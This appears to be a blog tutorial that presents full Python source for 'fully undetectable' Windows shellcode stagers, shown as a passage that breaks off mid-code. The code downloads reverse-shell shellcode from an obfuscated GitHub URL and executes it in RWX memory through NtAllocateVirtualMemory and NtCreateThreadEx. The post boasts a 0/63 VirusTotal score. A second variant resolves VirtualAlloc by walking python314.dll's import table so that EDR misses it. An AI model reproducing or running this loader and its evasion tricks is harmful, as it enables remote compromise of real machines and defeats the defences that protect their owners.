<p><img width="1481" height="429" alt="image" src="https://github.com/user-attachments/assets/d9899ae8-7079-4007-942d-26135440cadd" /></p>

<blockquote>
  <p>Reverse Shell:</p>
</blockquote>

<p><img width="760" height="379" alt="image" src="https://github.com/user-attachments/assets/ea5ae0f7-bb5e-44f0-bdb0-912e61e64215" /></p>

<p>For just <code class="language-plaintext highlighter-rouge">135</code> lines of code, we were able to accomplish a very effective means of executing shellcode in memory without detection.  Want to see how effective?  See for yourself.  At the time of my submission/analysis, this achieved a <strong>0/63</strong> on VirusTotal.  In other words: <strong>FUD achieved!</strong></p>

<p>hash lookup: <strong>27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e</strong></p>

<p><a href="https://www.virustotal.com/gui/file/27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e">https://www.virustotal.com/gui/file/27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e</a>
<img width="1768" height="849" alt="image" src="https://github.com/user-attachments/assets/72567e23-ff3d-42ec-a64c-9aaee18109c3" /></p>

<blockquote>
  <p><strong>Full Source Code:</strong></p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e
</span>

<span class="kn">import</span> <span class="n">requests</span>
<span class="kn">import</span> <span class="n">ctypes</span>
<span class="kn">from</span> <span class="n">ctypes</span> <span class="kn">import</span> <span class="n">wintypes</span>

<span class="n">SCODE_U</span> <span class="o">=</span> <span class="sh">"</span><span class="s">onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth</span><span class="sh">"</span>  
<span class="n">SCODE_U</span> <span class="o">=</span> <span class="n">SCODE_U</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>  <span class="c1"># Stream for large files 
</span>        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        <span class="n">shel_ly</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">iter_content</span><span class="p">(</span><span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">))</span>  <span class="c1"># Load fully into bytes
</span>        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Dwnlded </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes of scode</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">shel_ly</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Dwnld failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">eggsecute_scode</span><span class="p">(</span><span class="n">scode2</span><span class="p">):</span>
    <span class="c1"># Constants
</span>    <span class="n">MEM_COMMIT</span> <span class="o">=</span> <span class="mh">0x1000</span>
    <span class="n">MEM_RESERVE</span> <span class="o">=</span> <span class="mh">0x2000</span>
    <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">=</span> <span class="mh">0x40</span>

    <span class="n">kernel32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">kernel32</span>
    <span class="n">ntdll</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">ntdll</span>
    
    <span class="n">_api4</span> <span class="o">=</span> <span class="sh">"</span><span class="s">eldnaHesolC</span><span class="sh">"</span>
    <span class="n">closingtime</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="n">_api4</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">closingtime</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span>
    <span class="n">closingtime</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>  <span class="c1"># hHandle
</span>    <span class="p">]</span>
    
    <span class="n">_api3</span> <span class="o">=</span> <span class="sh">"</span><span class="s">tcejbOelgniSroFtiaW</span><span class="sh">"</span>
    <span class="n">waitinaround</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="n">_api3</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">waitinaround</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span>
    <span class="n">waitinaround</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>  <span class="c1"># hHandle
</span>    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>   <span class="c1"># dwMilliseconds
</span>    <span class="p">]</span>
    
    <span class="n">_api</span> <span class="o">=</span> <span class="sh">"</span><span class="s">yromeMlautriVetacollAtN</span><span class="sh">"</span>  <span class="c1"># 
</span>    <span class="n">Allocator</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ntdll</span><span class="p">,</span> <span class="n">_api</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">Allocator</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">BOOL</span>
    <span class="n">Allocator</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">wintypes</span><span class="p">.</span><span class="n">LPVOID</span><span class="p">),</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">),</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>
    <span class="p">]</span>
    
    <span class="n">_api2</span> <span class="o">=</span> <span class="sh">"</span><span class="s">xEdaerhTetaerCtN</span><span class="sh">"</span>
    <span class="n">thred_the_needle</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ntdll</span><span class="p">,</span> <span class="n">_api2</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">thred_the_needle</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">LONG</span>  <span class="c1"># NTSTATUS
</span>    <span class="n">thred_the_needle</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">),</span>   <span class="c1"># ThredHandel (out)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">,</span>                    <span class="c1"># DesiredAccess
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># ObjectAttributes
</span>    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>                   <span class="c1"># ProcessHandle
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># StartRoutine (your scode addr)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># Argument
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">,</span>                    <span class="c1"># CrateFlags (0 = run immediately)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># ZeroBits
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># StackSize
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># MaximumStackSize
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># AttributeList
</span><span class="p">]</span>
    
    <span class="n">addr</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">LPVOID</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">size</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nf">c_size_t</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">scode2</span><span class="p">))</span>
    <span class="n">current_process</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">HANDLE</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">status</span> <span class="o">=</span> <span class="nc">Allocator</span><span class="p">(</span>
        <span class="n">current_process</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">addr</span><span class="p">),</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">size</span><span class="p">),</span>
        <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span>
        <span class="n">PAGE_EXECUTE_READWRITE</span>
    <span class="p">)</span>
    
    <span class="k">if</span> <span class="n">status</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>  <span class="c1"># NTSTATUS 0 = success
</span>        <span class="n">mem_addr</span> <span class="o">=</span> <span class="n">addr</span><span class="p">.</span><span class="n">value</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Allcted mem at: 0x</span><span class="si">{</span><span class="n">mem_addr</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">_api0</span> <span class="o">=</span> <span class="sh">"</span><span class="s">evommem</span><span class="sh">"</span>  
        <span class="n">m3mMov3r</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ctypes</span><span class="p">,</span> <span class="n">_api0</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
        
        <span class="nf">m3mMov3r</span><span class="p">(</span><span class="n">mem_addr</span><span class="p">,</span> <span class="n">scode2</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode2</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] Scode copied to memory</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">h_thread</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">HANDLE</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
        <span class="n">status2</span> <span class="o">=</span> <span class="nf">thred_the_needle</span><span class="p">(</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">h_thread</span><span class="p">),</span>
        <span class="mh">0x1FFFFF</span><span class="p">,</span>                          <span class="c1"># THRED_ALL_ACCESS
</span>        <span class="bp">None</span><span class="p">,</span>
        <span class="n">current_process</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">cast</span><span class="p">(</span><span class="n">mem_addr</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">),</span>  <span class="c1"># scode start address
</span>        <span class="bp">None</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>                                 <span class="c1"># no flags, start immediately
</span>        <span class="mi">0</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="bp">None</span>
        <span class="p">)</span>
        
        <span class="k">if</span> <span class="n">status2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Thredded Needle!</span><span class="sh">"</span><span class="p">)</span>
            
            <span class="nf">waitinaround</span><span class="p">(</span><span class="n">h_thread</span><span class="p">.</span><span class="n">value</span><span class="p">,</span> <span class="mi">10000</span><span class="p">)</span>
            <span class="nf">closingtime</span><span class="p">(</span><span class="n">h_thread</span><span class="p">.</span><span class="n">value</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] thred_the_needle failed: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">status2</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Allocator failed (NTSTATUS: 0x</span><span class="si">{</span><span class="n">status</span><span class="si">:</span><span class="mi">08</span><span class="n">X</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] Dwnlding scode from URL...</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">scode</span> <span class="o">=</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">SCODE_U</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">scode</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] Eggsecuting Scode in mem...</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">eggsecute_scode</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] Aborting.</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="fud-stager-variant-2">FUD Stager Variant #2</h2>

<p><strong>High Level Overview</strong></p>

<p>Let’s take another creative approach to building our FUD stager. Rather than calling VirtualAlloc directly, we’ll leverage the already-loaded python314.dll — parsing its in-memory PE structure to walk the IAT and extract the live runtime address of VirtualAlloc as imported from kernel32.dll. No direct API call. No obvious import. Just borrowing what Python already loaded for us.  It’s also worth mentioning this is assuming you use a portable version of python to load your script.  It would work with <code class="language-plaintext highlighter-rouge">py2exe</code> as well, but we’re trying to avoid use of executable files in this case.  The python executable itself is an exception 😸</p>

<p><strong>In short</strong>: The resolved IAT address becomes a typed function pointer, giving us direct access to <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> without ever naming it explicitly or having to look its memory address up manually via traditional methods (<code class="language-plaintext highlighter-rouge">GetProcAddress</code>, etc).  This once again helps aid us greatly in deterring static analysis efforts from EDR.</p>

<h2 id="part-1---the-familiar-downloader">Part 1 - The Familiar Downloader</h2>

<p>Our code this time starts out in a familiar fashion as our last FUD code.  We download our reverse shell shellcode bytes into memory.  We will also be reversing our URL string again and changing variables from their familiar descriptors (shellcode, etc) to a less revealing name, like <code class="language-plaintext highlighter-rouge">SCODE_U</code> (shellcode url 😄).</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">ctypes</span><span class="p">,</span> <span class="n">sys</span><span class="p">,</span> <span class="n">os</span>
<span class="kn">import</span> <span class="n">requests</span>

<span class="k">try</span><span class="p">:</span>
    <span class="kn">import</span> <span class="n">pefile</span>
<span class="k">except</span> <span class="nb">ImportError</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">pip install pefile</span><span class="sh">"</span><span class="p">);</span> <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="n">SCODE_U</span> <span class="o">=</span> <span class="sh">"</span><span class="s">onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth</span><span class="sh">"</span>
<span class="n">SCODE_U</span> <span class="o">=</span> <span class="n">SCODE_U</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        <span class="n">shel_ly</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">iter_content</span><span class="p">(</span><span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Downloaded </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">shel_ly</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Download failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">None</span>
</code></pre></div></div>

<h2 id="part-2---setup-our-functions-for-copying-and-executing-the-downloaded-shellcode">Part 2 - Setup our functions for Copying and Executing the Downloaded Shellcode</h2>

<p>We also need to go over the copying of our shellcode bytes into our soon to be allocated memory address and the executing of the shellcode.  Let’s do that now.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">copy_to_page</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">scode</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">Copy scode bytes into the RWX page via ctypes.memmove.</span><span class="sh">"""</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">page</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] Invalid page address</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">False</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mh">0x1000</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Scode too large (</span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span><span class="si">}</span><span class="s"> &gt; 0x1000)</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">False</span>

    <span class="c1"># memmove(dst, src, count)
</span>    <span class="c1"># dst = raw integer address of our RWX page
</span>    <span class="c1"># src = scode bytes (ctypes accepts bytes directly as src)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="nf">memmove</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">scode</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">))</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Copied </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes → 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="bp">True</span>

<span class="k">def</span> <span class="nf">exec_page</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Cast the page to a void(*)(void) and call it.</span><span class="sh">"""</span>
    <span class="n">thunk</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nc">WINFUNCTYPE</span><span class="p">(</span><span class="bp">None</span><span class="p">)(</span><span class="n">page</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Executing scode @ 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">thunk</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="part-3--walking-the-iat-and-locating-the-already-loaded-virtualalloc-memory-address">Part 3- Walking the IAT and locating the already loaded <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> memory address!</h2>

<blockquote>
  <p>Phase 1 — We will build out the DLL name and path dynamically</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ver</span>      <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">version_info</span>
<span class="n">dll_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">python</span><span class="si">{</span><span class="n">ver</span><span class="p">.</span><span class="n">major</span><span class="si">}{</span><span class="n">ver</span><span class="p">.</span><span class="n">minor</span><span class="si">}</span><span class="s">.dll</span><span class="sh">"</span>
<span class="n">dll_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">dirname</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">executable</span><span class="p">),</span> <span class="n">dll_name</span><span class="p">)</span>
</code></pre></div></div>

<p>The first part of our code constructs <code class="language-plaintext highlighter-rouge">python314.dll</code> (or whatever version you are running) without hardcoding it. <code class="language-plaintext highlighter-rouge">dll_path</code> points to the on-disk copy needed for PE parsing. This is also nice because it is version-agnostic and works across all Python releases without modification.</p>

<blockquote>
  <p>Phase 2 — We get the live in-memory base address of our <code class="language-plaintext highlighter-rouge">python314.dll</code></p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">k32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">kernel32</span>
<span class="n">k32</span><span class="p">.</span><span class="n">GetModuleHandleW</span><span class="p">.</span><span class="n">restype</span>  <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span>
<span class="n">k32</span><span class="p">.</span><span class="n">GetModuleHandleW</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_wchar_p</span><span class="p">]</span>
<span class="n">base</span> <span class="o">=</span> <span class="n">k32</span><span class="p">.</span><span class="nc">GetModuleHandleW</span><span class="p">(</span><span class="n">dll_name</span><span class="p">)</span>
</code></pre></div></div>

<p>We explicitly set the return type to <code class="language-plaintext highlighter-rouge">c_void_p</code> so ctypes doesn’t truncate the 64-bit address. <code class="language-plaintext highlighter-rouge">GetModuleHandleW</code> returns the base address of our already-loaded module.  In other words: no disk load, no new mapping. Since Python is running, python314.dll is guaranteed to be resident in memory.</p>

<blockquote>
  <p>Phase 3 — We need to parse the on-disk PE structure</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pe</span> <span class="o">=</span> <span class="n">pefile</span><span class="p">.</span><span class="nc">PE</span><span class="p">(</span><span class="n">dll_path</span><span class="p">,</span> <span class="n">fast_load</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">pe</span><span class="p">.</span><span class="nf">parse_data_directories</span><span class="p">()</span>
</code></pre></div></div>

<p>We will read the on-disk copy of <code class="language-plaintext highlighter-rouge">python314.dll</code> purely for its layout.  This includes section headers, import directory offsets, and ImageBase.</p>

<p>fast_load=False + parse_data_directories() ensures the full import table is available.</p>

<blockquote>
  <p>Phase 4 — Walk the IAT and resolve the live pointer</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">memprep</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">collAlautriV</span><span class="sh">"</span>   <span class="c1"># "VirtualAlloc" reversed
</span><span class="k">for</span> <span class="n">entry</span> <span class="ow">in</span> <span class="n">pe</span><span class="p">.</span><span class="n">DIRECTORY_ENTRY_IMPORT</span><span class="p">:</span>
    <span class="k">if</span> <span class="sa">b</span><span class="sh">'</span><span class="s">kernel32</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">entry</span><span class="p">.</span><span class="n">dll</span><span class="p">.</span><span class="nf">lower</span><span class="p">():</span>
        <span class="k">for</span> <span class="n">imp</span> <span class="ow">in</span> <span class="n">entry</span><span class="p">.</span><span class="n">imports</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">imp</span><span class="p">.</span><span class="n">name</span> <span class="o">==</span> <span class="n">memprep</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]:</span>
                <span class="n">slot</span>  <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">imp</span><span class="p">.</span><span class="n">address</span> <span class="o">-</span> <span class="n">pe</span><span class="p">.</span><span class="n">OPTIONAL_HEADER</span><span class="p">.</span><span class="n">ImageBase</span>
                <span class="n">va_va</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint64</span><span class="p">.</span><span class="nf">from_address</span><span class="p">(</span><span class="n">slot</span><span class="p">).</span><span class="n">value</span>
</code></pre></div></div>

<h2 id="part-4---cast-and-execute">Part 4 - Cast and Execute!</h2>

<p>Lastly, this code snippet filters to kernel32.dll imports only.  We then match against b”VirtualAlloc”, without that string ever appearing in plaintext.</p>

<p><code class="language-plaintext highlighter-rouge">imp.address</code> is the on-disk VA of the IAT slot.  Subtracting <code class="language-plaintext highlighter-rouge">pe.OPTIONAL_HEADER.ImageBase</code> converts it to an RVA.  Adding base converts the RVA to the actual runtime address of the slot.</p>

<p>and Finally!  <code class="language-plaintext highlighter-rouge">c_uint64.from_address(slot).value</code> dereferences that previously mentioned slot.  We then read the 8-byte pointer the loader wrote there at startup, giving us the true runtime address of VirtualAlloc 😸  Phew!  Well, there you have it.</p>

<p>The resulting <code class="language-plaintext highlighter-rouge">va_va</code> is the live, post-ASLR, post-loader-resolution address of <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, ready to be cast to a callable.  Let’s do that now!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">MemoryAllocator</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nc">WINFUNCTYPE</span><span class="p">(</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint32</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint32</span>
<span class="p">)(</span><span class="n">va_va</span><span class="p">)</span> <span class="c1"># &lt;--here's where we cast it
</span>
<span class="n">page</span> <span class="o">=</span> <span class="nc">MemoryAllocator</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mh">0x3000</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">)</span>
